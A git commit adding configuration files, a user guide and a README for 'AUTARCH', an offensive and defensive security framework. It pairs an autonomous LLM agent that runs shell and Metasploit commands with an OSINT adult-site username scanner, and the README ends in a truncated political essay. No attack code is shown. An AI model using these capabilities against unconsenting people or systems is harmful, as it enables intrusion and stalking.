commit 4d3570781eb1cdd5b7755473e9e6d93d286b8465 Author: DigiJ Date: Fri Mar 13 15:17:15 2026 -0700 Autarch Will Control The Internet diff --git a/.config/amd_rx6700xt.conf b/.config/amd_rx6700xt.conf new file mode 100644 index 0000000..7c56191 --- /dev/null +++ b/.config/amd_rx6700xt.conf @@ -0,0 +1,46 @@ +# AUTARCH LLM Configuration Template +# Hardware: AMD Radeon RX 6700 XT (12GB VRAM) +# Optimized for: GPU inference with ROCm/HIP support +# +# This configuration is optimized for AMD GPUs using ROCm. +# The RX 6700 XT has 12GB VRAM, excellent for 7B-13B models. +# Requires ROCm drivers and PyTorch with ROCm support. + +[llama] +# GGUF Model Settings (llama.cpp) +# Note: llama.cpp requires HIP/ROCm build for AMD GPU support +# Build with: CMAKE_ARGS="-DLLAMA_HIPBLAS=on" pip install llama-cpp-python +model_path = +n_ctx = 8192 +n_threads = 8 +n_gpu_layers = -1 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 4096 +seed = -1 + +[transformers] +# SafeTensors Model Settings (HuggingFace) +# ROCm uses 'cuda' device identifier in PyTorch +model_path = +device = cuda +torch_dtype = float16 +load_in_8bit = false +load_in_4bit = false +trust_remote_code = false +max_tokens = 4096 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repetition_penalty = 1.1 + +# Notes: +# - 12GB VRAM allows running 13B models at float16 +# - For 33B+ models, enable load_in_4bit = true +# - ROCm support requires specific PyTorch version: +# pip install torch --index-url https://download.pytorch.org/whl/rocm5.6 +# - llama.cpp needs HIP build for GPU acceleration +# - If GPU not detected, falls back to CPU (check ROCm installation) +# - n_ctx = 8192 works well with 12GB VRAM diff --git a/.config/nvidia_4070_mobile.conf b/.config/nvidia_4070_mobile.conf new file mode 100644 index 0000000..0d79a9d --- /dev/null +++ b/.config/nvidia_4070_mobile.conf @@ -0,0 +1,41 @@ +# AUTARCH LLM Configuration Template +# Hardware: NVIDIA GeForce RTX 4070 Mobile (8GB VRAM) +# Optimized for: GPU inference with good VRAM management +# +# This configuration balances performance and memory usage for mobile RTX 4070. +# The 4070 Mobile has 8GB VRAM, suitable for 7B models at full precision +# or 13B models with quantization. + +[llama] +# GGUF Model Settings (llama.cpp) +model_path = +n_ctx = 8192 +n_threads = 8 +n_gpu_layers = -1 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 4096 +seed = -1 + +[transformers] +# SafeTensors Model Settings (HuggingFace) +model_path = +device = cuda +torch_dtype = float16 +load_in_8bit = false +load_in_4bit = false +trust_remote_code = false +max_tokens = 4096 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repetition_penalty = 1.1 + +# Notes: +# - n_gpu_layers = -1 offloads all layers to GPU +# - For 13B+ models, enable load_in_4bit = true +# - float16 is optimal for RTX 4070 +# - n_ctx = 8192 uses ~2GB VRAM overhead +# - Reduce n_ctx to 4096 if running out of VRAM diff --git a/.config/orangepi5plus_cpu.conf b/.config/orangepi5plus_cpu.conf new file mode 100644 index 0000000..b0f6a04 --- /dev/null +++ b/.config/orangepi5plus_cpu.conf @@ -0,0 +1,46 @@ +# AUTARCH LLM Configuration Template +# Hardware: Orange Pi 5 Plus (RK3588 SoC, 8-core ARM, 16GB RAM) +# Optimized for: CPU-only inference on ARM64 +# +# This configuration is optimized for the Orange Pi 5 Plus running +# CPU-only inference. The RK3588 has 4x Cortex-A76 + 4x Cortex-A55 cores. +# Best with quantized GGUF models (Q4_K_M or Q5_K_M). + +[llama] +# GGUF Model Settings (llama.cpp) +# Recommended: Use Q4_K_M or Q5_K_M quantized models +model_path = +n_ctx = 2048 +n_threads = 4 +n_gpu_layers = 0 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 1024 +seed = -1 + +[transformers] +# SafeTensors Model Settings (HuggingFace) +# Note: CPU inference is slow with transformers, GGUF recommended +model_path = +device = cpu +torch_dtype = float32 +load_in_8bit = false +load_in_4bit = false +trust_remote_code = false +max_tokens = 1024 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repetition_penalty = 1.1 + +# Notes: +# - n_threads = 4 uses only the fast A76 cores (better perf than all 8) +# - n_ctx = 2048 balances memory usage and capability +# - n_gpu_layers = 0 for pure CPU inference +# - Strongly recommend GGUF Q4_K_M models for best speed +# - 7B Q4 models use ~4GB RAM, leaving room for system +# - max_tokens = 1024 keeps generation times reasonable +# - For transformers: CPU with float32 is slow but works +# - Avoid 13B+ models unless heavily quantized diff --git a/.config/orangepi5plus_mali.conf b/.config/orangepi5plus_mali.conf new file mode 100644 index 0000000..32c3d56 --- /dev/null +++ b/.config/orangepi5plus_mali.conf @@ -0,0 +1,67 @@ +# AUTARCH LLM Configuration Template +# Hardware: Orange Pi 5 Plus with ARM Mali-G610 MP4 GPU +# Status: EXPERIMENTAL - Mali GPU support for LLMs is limited +# +# WARNING: This configuration is experimental! +# The Mali-G610 GPU has limited LLM support. Most frameworks +# fall back to CPU. This config attempts to leverage what GPU +# acceleration is available. + +[llama] +# GGUF Model Settings (llama.cpp) +# Note: llama.cpp OpenCL backend may provide some acceleration +# Build with: CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python +# Requires: libclblast-dev, opencl-headers, ocl-icd-opencl-dev +model_path = +n_ctx = 2048 +n_threads = 4 +n_gpu_layers = 8 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 1024 +seed = -1 + +[transformers] +# SafeTensors Model Settings (HuggingFace) +# Note: PyTorch has experimental Vulkan backend for mobile GPUs +# This is highly experimental and may not work +model_path = +device = cpu +torch_dtype = float32 +load_in_8bit = false +load_in_4bit = true +trust_remote_code = false +max_tokens = 1024 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repetition_penalty = 1.1 + +# EXPERIMENTAL NOTES: +# +# Mali-G610 GPU Support Status: +# - OpenCL: Partial support via CLBlast, may accelerate some layers +# - Vulkan: PyTorch vulkan backend is experimental +# - Direct Mali: No native support in major LLM frameworks +# +# To enable OpenCL acceleration for llama.cpp: +# 1. Install dependencies: +# sudo apt install libclblast-dev opencl-headers ocl-icd-opencl-dev +# 2. Install Mali OpenCL driver (if available for your distro) +# 3. Rebuild llama-cpp-python with CLBlast: +# CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python --force-reinstall +# +# n_gpu_layers = 8: Offloads only some layers (conservative) +# - Increase if stable, decrease if crashes +# - Set to 0 if OpenCL not working +# +# For transformers: +# - load_in_4bit = true reduces memory pressure +# - CPU inference is the reliable fallback +# +# Performance Expectations: +# - Best case: 20-30% speedup over pure CPU +# - Likely case: Similar to CPU or unstable +# - Use orangepi5plus_cpu.conf for stable operation diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..779b904 --- /dev/null +++ b/.gitignore @@ -0,0 +1,86 @@ +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +*.egg-info/ +*.egg + +# Virtual environments +venv/ +.venv/ +env/ + +# IDE +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# Data & databases (regenerated at runtime) +data/cve/*.db +data/sites/*.db +data/uploads/ +data/hardware/ + +# Large files +models/ +*.gguf +claude.bk +*.mtf + +# Results (user-generated) +results/ +dossiers/ + +# OSINT scan results +*_profiles.json + +# Secrets & config with credentials +.env +*.pem +*.key + +# Node +node_modules/ + +# Gradle +.gradle/ +gradle-*/ + +# Bundled tools (large binaries) +tools/ + +# Android SDK tools (bundled binaries) +android/ + +# Build artifacts +dist/ +build/ +build_temp/ +release/ +*.spec.bak +*.zip + +# Local utility scripts +kill_autarch.bat + +# OS files +.DS_Store +Thumbs.db + +# Claude Code +.claude/ + +# Development planning docs +phase2.md + +# Snoop data +snoop/ +data/sites/snoop_full.json + +# Custom user data (optional - users may want to track these) +# custom_adultsites.json +# custom_sites.inf +# custom_apis.json diff --git a/GUIDE.md b/GUIDE.md new file mode 100644 index 0000000..96463f9 --- /dev/null +++ b/GUIDE.md @@ -0,0 +1,588 @@ +# AUTARCH User Guide + +## Project Overview + +**AUTARCH** (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking) is a comprehensive security framework developed by **darkHal Security Group** and **Setec Security Labs**. + +### What We Built + +AUTARCH is a modular Python security framework featuring: + +- **LLM Integration** - Local AI via llama.cpp for autonomous assistance +- **Autonomous Agent** - AI agent that can execute tools and complete tasks +- **Metasploit Integration** - Direct MSF RPC control from within the framework +- **Modular Architecture** - Plugin-based system for easy extension +- **6 Security Categories** - Defense, Offense, Counter, Analyze, OSINT, Simulate + +--- + +## Project Structure + +``` +dh_framework/ +├── autarch.py # Main entry point +├── autarch_settings.conf # Configuration file +├── custom_adultsites.json # Custom adult sites storage +├── custom_sites.inf # Bulk import file +├── DEVLOG.md # Development log +├── GUIDE.md # This guide +│ +├── core/ # Core framework modules +│ ├── __init__.py +│ ├── agent.py # Autonomous AI agent +│ ├── banner.py # ASCII banner and colors +│ ├── config.py # Configuration handler +│ ├── llm.py # LLM wrapper (llama-cpp-python) +│ ├── menu.py # Main menu system +│ ├── msf.py # Metasploit RPC client +│ └── tools.py # Agent tool registry +│ +└── modules/ # User-facing modules + ├── __init__.py + ├── setup.py # First-time setup wizard + ├── chat.py # Interactive LLM chat (core) + ├── agent.py # Agent interface (core) + ├── msf.py # Metasploit interface (offense) + ├── defender.py # System hardening (defense) + ├── counter.py # Threat detection (counter) + ├── analyze.py # Forensics tools (analyze) + ├── recon.py # OSINT reconnaissance (osint) + ├── adultscan.py # Adult site scanner (osint) + └── simulate.py # Attack simulation (simulate) +``` + +--- + +## Installation & Setup + +### Requirements + +- Python 3.8+ +- llama-cpp-python (pre-installed) +- A GGUF model file for LLM features +- Metasploit Framework (optional, for MSF features) + +### First Run + +```bash +cd /home/snake/dh_framework +python autarch.py +``` + +On first run, the setup wizard automatically launches with options: +1. **Configure LLM** - Set up model for chat & agent features +2. **Skip Setup** - Use without LLM (most modules still work) + +### Running Without LLM + +Many modules work without an LLM configured: + +```bash +# Skip setup on first run +python autarch.py --skip-setup +``` + +**Modules that work without LLM:** +- defender (Defense) - System hardening checks +- counter (Counter) - Threat detection +- analyze (Analyze) - File forensics +- recon (OSINT) - Email, username, domain lookup +- adultscan (OSINT) - Adult site scanner +- simulate (Simulate) - Port scan, payloads +- msf (Offense) - Metasploit interface + +**Modules that require LLM:** +- chat - Interactive LLM chat +- agent - Autonomous AI agent + +You can configure LLM later with `python autarch.py --setup` + +--- + +## Command Line Interface + +### Basic Usage + +```bash +python autarch.py [OPTIONS] [COMMAND] +``` + +### Options + +| Option | Description | +|--------|-------------| +| `-h, --help` | Show help message and exit | +| `-v, --version` | Show version information | +| `-c, --config FILE` | Use alternate config file | +| `--skip-setup` | Skip first-time setup (run without LLM) | +| `-m, --module NAME` | Run a specific module directly | +| `-l, --list` | List all available modules | +| `--setup` | Force run the setup wizard | +| `--no-banner` | Suppress the ASCII banner | +| `-q, --quiet` | Minimal output mode | + +### Commands + +| Command | Description | +|---------|-------------| +| `chat` | Start interactive LLM chat | +| `agent` | Start the autonomous agent | +| `scan ` | Quick port scan | +| `osint ` | Quick username OSINT | + +### Examples + +```bash +# Show help +python autarch.py --help + +# Run a specific module +python autarch.py -m chat +python autarch.py -m adultscan + +# List all modules +python autarch.py --list + +# Quick OSINT scan +python autarch.py osint targetuser + +# Re-run setup +python autarch.py --setup +``` + +--- + +## Main Menu Navigation + +### Menu Structure + +``` + Main Menu + ────────────────────────────────────────────────── + + [1] Defense - Defensive security tools + [2] Offense - Penetration testing + [3] Counter - Counter-intelligence + [4] Analyze - Analysis & forensics + [5] OSINT - Open source intelligence + [6] Simulate - Attack simulation + + [99] Settings + [98] Exit +``` + +### Category Details + +#### [1] Defense +System hardening and defensive security: +- Full Security Audit +- Firewall Check +- SSH Hardening +- Open Ports Scan +- User Security Check +- File Permissions Audit +- Service Audit + +#### [2] Offense +Penetration testing with Metasploit: +- Search Modules +- Use/Configure Modules +- Run Exploits +- Manage Sessions +- Console Commands +- Quick Scanners + +#### [3] Counter +Counter-intelligence and threat hunting: +- Full Threat Scan +- Suspicious Process Detection +- Network Analysis +- Login Anomalies +- File Integrity Monitoring +- Scheduled Task Audit +- Rootkit Detection + +#### [4] Analyze +Forensics and file analysis: +- File Analysis (metadata, hashes, type) +- String Extraction +- Hash Lookup (VirusTotal, Hybrid Analysis) +- Log Analysis +- Hex Dump Viewer +- File Comparison + +#### [5] OSINT +Open source intelligence gathering: +- **recon.py** - Email, username, phone, domain, IP lookup +- **adultscan.py** - Adult site username scanner + +#### [6] Simulate +Attack simulation and red team: +- Password Audit +- Port Scanner +- Banner Grabber +- Payload Generator (XSS, SQLi, etc.) +- Network Stress Test + +--- + +## Module Reference + +### Core Modules + +#### chat.py - Interactive Chat +``` +Category: core +Commands: + /help - Show available commands + /clear - Clear conversation history + /history - Show conversation history + /info - Show model information + /system - Set system prompt + /temp - Set temperature + /tokens - Set max tokens + /stream - Toggle streaming + /exit - Exit chat +``` + +#### agent.py - Autonomous Agent +``` +Category: core +Commands: + tools - Show available tools + exit - Return to main menu + help - Show help + +Available Tools: + shell - Execute shell commands + read_file - Read file contents + write_file - Write to files + list_dir - List directory contents + search_files - Glob pattern search + search_content - Content search (grep) + task_complete - Signal completion + ask_user - Request user input + msf_* - Metasploit tools +``` + +### OSINT Modules + +#### recon.py - OSINT Reconnaissance +``` +Category: osint +Version: 2.0 + +Menu: + Email + [1] Email Lookup + [2] Email Permutator + + Username + [3] Username Lookup (17+ platforms) + [4] Social Analyzer integration + + Phone + [5] Phone Number Lookup + + Domain/IP + [6] Domain Recon + [7] IP Address Lookup + [8] Subdomain Enumeration + [9] Technology Detection +``` + +#### adultscan.py - Adult Site Scanner +``` +Category: osint +Version: 1.3 + +Menu: + Scan Categories: + [1] Full Scan (all categories) + [2] Fanfiction & Story Sites + [3] Art & Creative Sites + [4] Video & Streaming Sites + [5] Forums & Communities + [6] Dating & Social Sites + [7] Gaming Related Sites + [8] Custom Sites Only + [9] Custom Category Selection + + Site Management: + [A] Add Custom Site (manual) + [D] Auto-Detect Site Pattern + [B] Bulk Import from File + [M] Manage Custom Sites + [L] List All Sites + +Sites Database: 50+ built-in sites +Categories: fanfiction, art, video, forums, dating, gaming, custom +``` + +##### Adding Custom Sites + +**Manual Add [A]:** +``` +Site name: MySite +URL pattern (use * for username): mysite.com/user/* +Detection Method: [1] Status code +``` + +**Auto-Detect [D]:** +``` +Domain: example.com +Test username: knownuser +(System probes 17 common patterns) +``` + +**Bulk Import [B]:** + +1. Edit `custom_sites.inf`: +``` +# One domain per line +site1.com +site2.net +site3.org +``` + +2. Run Bulk Import and provide test username +3. System auto-detects patterns for each domain + +--- + +## Configuration + +### Config File: autarch_settings.conf + +```ini +[llama] +model_path = /path/to/model.gguf +n_ctx = 4096 +n_threads = 4 +n_gpu_layers = 0 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 2048 +seed = -1 + +[autarch] +first_run = false +modules_path = modules +verbose = false + +[msf] +host = 127.0.0.1 +port = 55553 +username = msf +password = +ssl = true +``` + +### LLM Settings + +| Setting | Default | Description | +|---------|---------|-------------| +| model_path | (required) | Path to GGUF model file | +| n_ctx | 4096 | Context window size | +| n_threads | 4 | CPU threads for inference | +| n_gpu_layers | 0 | Layers to offload to GPU | +| temperature | 0.7 | Sampling temperature (0.0-2.0) | +| top_p | 0.9 | Nucleus sampling threshold | +| top_k | 40 | Top-K sampling | +| repeat_penalty | 1.1 | Repetition penalty | +| max_tokens | 2048 | Maximum response length | +| seed | -1 | Random seed (-1 = random) | + +### Metasploit Settings + +| Setting | Default | Description | +|---------|---------|-------------| +| host | 127.0.0.1 | MSF RPC host | +| port | 55553 | MSF RPC port | +| username | msf | RPC username | +| password | (none) | RPC password | +| ssl | true | Use SSL connection | + +**Starting msfrpcd:** +```bash +msfrpcd -P yourpassword -S -a 127.0.0.1 +``` + +--- + +## Creating Custom Modules + +### Module Template + +```python +""" +Module description here +""" + +# Module metadata (required) +DESCRIPTION = "Short description" +AUTHOR = "Your Name" +VERSION = "1.0" +CATEGORY = "osint" # defense, offense, counter, analyze, osint, simulate, core + +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +def run(): + """Main entry point - REQUIRED""" + clear_screen() + display_banner() + + print(f"{Colors.BOLD}My Module{Colors.RESET}") + # Your code here + + +if __name__ == "__main__": + run() +``` + +### Available Colors + +```python +from core.banner import Colors + +Colors.RED +Colors.GREEN +Colors.YELLOW +Colors.BLUE +Colors.MAGENTA +Colors.CYAN +Colors.WHITE +Colors.BOLD +Colors.DIM +Colors.RESET +``` + +### Module Categories + +| Category | Color | Description | +|----------|-------|-------------| +| defense | Blue | Defensive security | +| offense | Red | Penetration testing | +| counter | Magenta | Counter-intelligence | +| analyze | Cyan | Forensics & analysis | +| osint | Green | Open source intelligence | +| simulate | Yellow | Attack simulation | +| core | White | Core framework modules | + +--- + +## Agent Tools Reference + +The autonomous agent has access to these tools: + +### File Operations +``` +read_file(path) - Read file contents +write_file(path, content) - Write to file +list_dir(path) - List directory +search_files(pattern) - Glob search +search_content(pattern) - Grep search +``` + +### System Operations +``` +shell(command, timeout) - Execute shell command +``` + +### User Interaction +``` +ask_user(question) - Prompt user for input +task_complete(result) - Signal task completion +``` + +### Metasploit Operations +``` +msf_connect() - Connect to MSF RPC +msf_search(query) - Search modules +msf_module_info(module) - Get module info +msf_module_options(module) - Get module options +msf_execute(module, options) - Execute module +msf_sessions() - List sessions +msf_session_command(id, cmd) - Run session command +msf_console(command) - Direct console +``` + +--- + +## Troubleshooting + +### Common Issues + +**LLM not loading:** +- Verify model_path in autarch_settings.conf +- Check file permissions on model file +- Ensure sufficient RAM for model size + +**MSF connection failed:** +- Verify msfrpcd is running: `msfrpcd -P password -S` +- Check host/port in settings +- Verify password is correct + +**Module not appearing:** +- Ensure module has `CATEGORY` attribute +- Ensure module has `run()` function +- Check for syntax errors + +**Adult scanner false positives:** +- Some sites return 200 for all requests +- Use content-based detection for those sites +- Verify with a known username + +### Debug Mode + +```bash +# Enable verbose output +python autarch.py --verbose + +# Check configuration +python autarch.py --show-config +``` + +--- + +## Security Notice + +AUTARCH is designed for **authorized security testing only**. Users are responsible for: + +- Obtaining proper authorization before testing +- Complying with all applicable laws +- Using tools ethically and responsibly + +**Do not use for:** +- Unauthorized access +- Harassment or stalking +- Any illegal activities + +--- + +## Version History + +| Version | Date | Changes | +|---------|------|---------| +| 1.0 | 2026-01-14 | Initial release | +| 1.1 | 2026-01-14 | Added custom site management | +| 1.2 | 2026-01-14 | Added auto-detect patterns | +| 1.3 | 2026-01-14 | Added bulk import | + +--- + +## Credits + +**Project AUTARCH** +By darkHal Security Group and Setec Security Labs + +--- + +*For development history, see DEVLOG.md* diff --git a/README.md b/README.md new file mode 100644 index 0000000..623f271 --- /dev/null +++ b/README.md @@ -0,0 +1,333 @@ +``` + /\ + / \ + / /\ \ + / /__\ \ _ _ _____ _ ____ ____ _ _ + / /____\ \ | | | | |_ _| / \ | _ \ / ___| | | | | + / / /\ \ \| | | | | | / _ \ | |_) | | | | |_| | +/ / / \ \ \ | | | | | / ___ \| _ < | |___ | _ | +\/ / \ \/ \__| | | | / / \ \ | \ \ \____| |_| |_| + \_/ \_/\______| |_|/_/ \_\_| \_\ANARCHY IS LIFE +``` LIFE IS ANARCHY + +# AUTARCH + +**Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking** + +By **darkHal Security Group** & **Setec Security Labs** + +--- + +## Overview + +AUTARCH is a modular security platform combining defensive hardening, offensive testing, forensic analysis, OSINT reconnaissance, and attack simulation into a single web-based dashboard. It features local and cloud LLM integration, an autonomous AI agent, hardware device management over WebUSB, and a companion Android application. + +## Features + +- **Defense** — System hardening audits, firewall checks, permission analysis, security scoring +- **Offense** — Metasploit & RouterSploit integration, module execution with live SSE streaming +- **Counter** — Threat detection, suspicious process analysis, rootkit checks, network monitoring +- **Analyze** — File forensics, hash toolkit (43 algorithm patterns), hex dumps, string extraction, log analysis +- **OSINT** — Email/username/phone/domain/IP reconnaissance, 7,287+ indexed sites +- **Simulate** — Attack simulation, port scanning, password auditing, payload generation +- **Hardware** — ADB/Fastboot over WebUSB, ESP32 flashing via Web Serial, dual-mode (server + direct) +- **Android Protection** — Anti-stalkerware/spyware shield, signature-based scanning, permission auditing +- **Agent Hal** — Autonomous AI agent with tool use, available as a global chat panel +- **Hash Toolkit** — Hash algorithm identification (hashid-style), file/text hashing, hash mutation, threat intel lookups +- **Enc Modules** — Encrypted module system for sensitive payloads +- **Reverse Shell** — Multi-language reverse shell generator +- **WireGuard VPN** — Tunnel management and remote device access +- **UPnP** — Automated port forwarding +- **Wireshark** — Packet capture and analysis via tshark/pyshark +- **MSF Console** — Web-based Metasploit console with live terminal +- **Debug Console** — Real-time Python logging output with 5 filter modes + +## Architecture + +``` +autarch.py # Main entry point (CLI + web server) +core/ # 25+ Python modules (agent, config, hardware, llm, msf, etc.) +modules/ # 26 loadable modules (defense, offense, counter, analyze, osint, simulate) +web/ + app.py # Flask app factory (16 blueprints) + routes/ # 15 route files + templates/ # 16 Jinja2 templates + static/ # JS, CSS, WebUSB bundles +autarch_companion/ # Archon Android app (Kotlin) +data/ # SQLite DBs, JSON configs, stalkerware signatures +``` + +## Quick Start + +### From Source + +```bash +# Clone +git clone https://github.com/digijeth/autarch.git +cd autarch + +# Install dependencies +pip install -r requirements.txt + +# Run +python autarch.py +``` + +The web dashboard starts at `https://localhost:8080` (self-signed cert). + +### Windows Installer + +Download `autarch_public.msi` or `autarch_public.exe` from the [Releases](https://github.com/digijeth/autarch/releases) page. + +## Configuration + +Settings are managed via `autarch_settings.conf` (auto-generated on first run) and the web UI Settings page. + +Key sections: `[server]`, `[llm]`, `[msf]`, `[wireguard]`, `[upnp]`, `[hardware]` + +### LLM Backends + +- **Local** — llama-cpp-python (GGUF models) or HuggingFace Transformers (SafeTensors) +- **Claude** — Anthropic Claude API +- **OpenAI** — OpenAI-compatible API (custom endpoint support) +- **HuggingFace** — HuggingFace Inference API (8 provider options) + +## Ports + +| Port | Service | +|-------|---------| +| 8080 | Web Dashboard (HTTPS) | +| 8081 | MCP Server (SSE) | +| 17321 | Archon Server (Android companion) | +| 17322 | Reverse Shell Listener | +| 51820 | WireGuard VPN | + +## Platform Support + +- **Primary:** Linux (Orange Pi 5 Plus, RK3588 ARM64) +- **Supported:** Windows 10/11 (x86_64) +- **WebUSB:** Chromium-based browsers required for Direct mode hardware access + +## License + +Restricted Public Release. Authorized use only — activity is logged. + +## Disclaimer + +AUTARCH is a security research and authorized penetration testing platform. Use only on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal. The authors accept no liability for misuse. + +--- + +## A Note from the Author + +*This may be the last application I write as my battle against the evilness of the web may be my own downfall. I leave you with this:* + +--- + +### AI and Liberty: Who Gets to Decide? + +**By: SsSnake -- Lord of the Abyss -- + +Artificial intelligence can erode freedoms or strengthen them—the outcome depends on who controls it, and how we respond to it. The people need to remember, if we don't like the laws being passed or how its being used, let your Representatives know, and if they don't listen, replace them. Their job is to represent us. Not make decisions for us. darkHal is an apolitical group and do not support either party. We do not give a shit about your politics, we only care about the 1's and 0's. + +Artificial intelligence is often presented as a tool of progress—streamlining services, analyzing massive datasets, and empowering individuals. Yet, like any technology, AI is neutral in essence, except when it is deliberately trained not to be. Its ethical impact depends not only on how it is deployed, but also on who deploys it. When placed in the hands of governments, corporations, or malicious actors, AI systems can be weaponized against the very constitutional rights designed to protect citizens. Understanding these risks is essential if liberty is to be preserved in an increasingly automated world. + +One of the main areas of concern lies in the freedom of speech and expression. AI-driven content moderation and recommendation systems, while designed to maintain civility online and recommend material a person may relate to, have the potential to silence dissent and reinforce messages of distrust, hate, and violence. Algorithms, trained to identify harmful or "unsafe" speech, may suppress valid opinions or target certain groups to take their voice away. Citizens who suspect they are being monitored because their posts have been flagged may begin to self-censor, creating a chilling effect that undermines open debate—the cornerstone of American democracy. At the same time, AI-generated deepfakes and manipulated media make it more difficult for the public to separate fact from fiction, creating an environment where truth can be drowned out by manufactured lies. For example, imagine a local election in which a convincing AI-generated video surfaces online showing a candidate making inflammatory remarks they never actually said. Even if the video is later debunked, the damage is already done: news cycles amplify the clip, and social media spreads it widely to millions in a matter of seconds. Voters' trust in the candidate is shaken. The false narrative competes with reality, leaving citizens unsure whom to believe and undermining the democratic process itself. This risk, however, can be mitigated through rapid-response verification systems—such as forcing micro-watermarking in manufactured media at the time of creation, embedded in the pixels, or deploying independent fact-checking networks that can authenticate content before it spreads. Public education campaigns that teach citizens how to identify digital manipulation can also help blunt the impact, ensuring that truth has a fighting chance against falsehoods. + +Yet it is worth acknowledging that many of these defenses have been tried before—and they often fall short. Watermarking and authentication tools can be circumvented or stripped away. Fact-checking networks, while valuable, rarely match the speed and reach of viral misinformation. Public education campaigns struggle against the sheer realism of today's generative tools and ignorance of AI capabilities. I still hear people saying that AI cannot create applications on its own, even when the evidence is in front of them. We live in a time where a human voice can be convincingly cloned in less than thirty seconds, and a fifteen-minute training sample can now reproduce not just words but the subtle cues of emotion and tone that even skilled listeners may find impossible to separate from fabrication. This raises a profound question: if any statement can be manufactured and any artifacts explained, how do we defend truth in a world where authentic voices can be replicated and reshaped at will? + +Some argue that forcing "guardrails" onto AI systems is the only way to prevent harm. Yet this collides with a deeper constitutional question that we must also consider: do programmers have a First Amendment right to express themselves through source code? In American courts, the answer is yes. The courts have recognized that computer code is a form of speech protected under the First Amendment. In Bernstein v. U.S. Department of State (1999), the Ninth Circuit held that publishing encryption code was protected expression, striking down government attempts to license and restrict its dissemination. The Sixth Circuit echoed this in Junger v. Daley (2000), reinforcing that code is not just functional—it communicates ideas. Earlier battles, from United States v. Progressive, Inc. (1979), where the government unsuccessfully tried to block publication of an article describing how to build a hydrogen bomb, to the Pentagon Papers case (1971), where the Supreme Court rejected government efforts to stop newspapers from printing a classified history of the Vietnam War, established how rarely the state can justify restraining the publication of technical or sensitive information without a direct threat to national security. These cases highlight the judiciary's consistent skepticism toward prior restraint, especially when national security is invoked as justification. Although the current Supreme Court has shown it has no issue favoring the rights of specific groups while abridging the rights of others. It is also no secret courts have been using AI more and more to research and write rulings, with little understanding of how LLMs work. + +That same tension between liberty and security also extends beyond speech into the realm of personal privacy. The right to privacy was enshrined in the Fourth Amendment because the framers of the Bill of Rights did not want the government to become like the British crown, empowered to search, seize, and surveil without restraint. AI has enabled exactly that, with the assistance of companies like Google, Meta, and our cellphone providers, who have given real-time access to our location, search history, and everything else our phones collect to anyone who could pay—including the government—regardless of whether they had a warrant. Not that long ago, that realization would have led to mass protests over surveillance. And it did. A government program known as PRISM was exposed, and it was headline news for months. People were outraged for years. But when the news broke about T-Mobile, Verizon, and AT&T selling real-time information to anyone with money, the only ones who got upset were the FTC. Republicans in Congress ranged from being annoyed to furious—at the FTC's "overreaching powers." Only a few cared about the companies themselves, and for specific reasons. The Democrats demanded CEOs answer their questions and called a few hearings, but did nothing. Most people do not even know this happened. The outcome? A fine. This was far worse than PRISM, and nobody cared. With the help of AI, that information has been used to create targeted ads and complete profiles about U.S. citizens that include everything from where you go every day to what kind of underwear you buy. + +Sadly, people have become too stupid to realize that once you realize your rights have been stripped away—because they've been used on you or against you—it's too late to do anything. They do not understand that the argument isn't about whether you have something to hide or not, or just accepting it with a shrug—"because that's just how it is." It's about not letting the government erode our rights. Today's tools such as instant-match facial recognition, predictive policing software, and real-time geolocation tracking allow authorities to monitor citizens on a scale once unimaginable except in East Germany—all without a warrant ever being issued. And until the courts make a ruling in the cellphone provider case, it all seems legal as long as it's a private company doing it. When these systems claim to forecast behavior—predicting who might commit a crime or who might pose a security risk—they open the door to pre-emptive action that undermines the presumption of innocence, and they are being relied on more and more. These are systems prone to issues such as daydreaming or agreeing with their user just because. + +Some technologists argue that the only way to defend against such surveillance is to fight algorithms with algorithms. One emerging approach is the use of a tool we are planning on releasing: darkHal's "Fourth Amendment Protection Plugin," a system designed not merely to obfuscate, but to actively shield users from AI-driven profiling. Rather than attempting the impossible task of disappearing from the digital landscape, darkHal generates layers of synthetic data—fake GPS coordinates, fabricated browsing histories, fake messages, simulated app usage, and false forensic metadata. By blending authentic activity with thousands of AI-generated content items, it prevents surveillance algorithms from producing reliable conclusions about an individual's behavior or location. + +The idea reframes privacy as an act of digital resistance. Instead of passively accepting that AI will map and monitor every action, tools like darkHal inject uncertainty into the system itself. Critics caution that this tactic could complicate legitimate investigations or erode trust in digital records. Yet supporters argue that when the state deploys AI to surveil without warrants or probable cause, citizens may be justified in using AI-driven counter-surveillance tools to defend their constitutional protections. In effect, darkHal embodies a technological assertion of the Fourth Amendment—restoring the principle that people should be secure in their "persons, houses, papers, and effects," even when those papers now exist as data logs and metadata streams. + +These tools then create concerns about due process and equal protection under the law. Courts and law enforcement agencies increasingly turn to algorithmic decision-making to guide bail, sentencing, and parole decisions. Police use AI-driven tools to create reports that have zero oversight, with no way to verify if an error in the facts was due to a malfunctioning AI or a dishonest law enforcement officer. According to Ars Technica, some of these models are trained on biased data, reinforcing the very disparities they are meant to reduce. Their reasoning is often hidden inside opaque "black box" systems, leaving defendants and their attorneys unable to challenge or even understand the basis for adverse rulings. In extreme cases, predictive models raise the specter of "pre-crime" scenarios, where individuals are treated as guilty not for what they have done, but for what a machine predicts they might do. + +If the courtroom illustrates how AI can erode individual rights, the public square shows how it can chill collective ones. The right to assemble and associate freely is another area where AI can become a tool of control. Advanced computer vision allows drones and surveillance cameras to identify and track participants at protests, while machine learning applied to 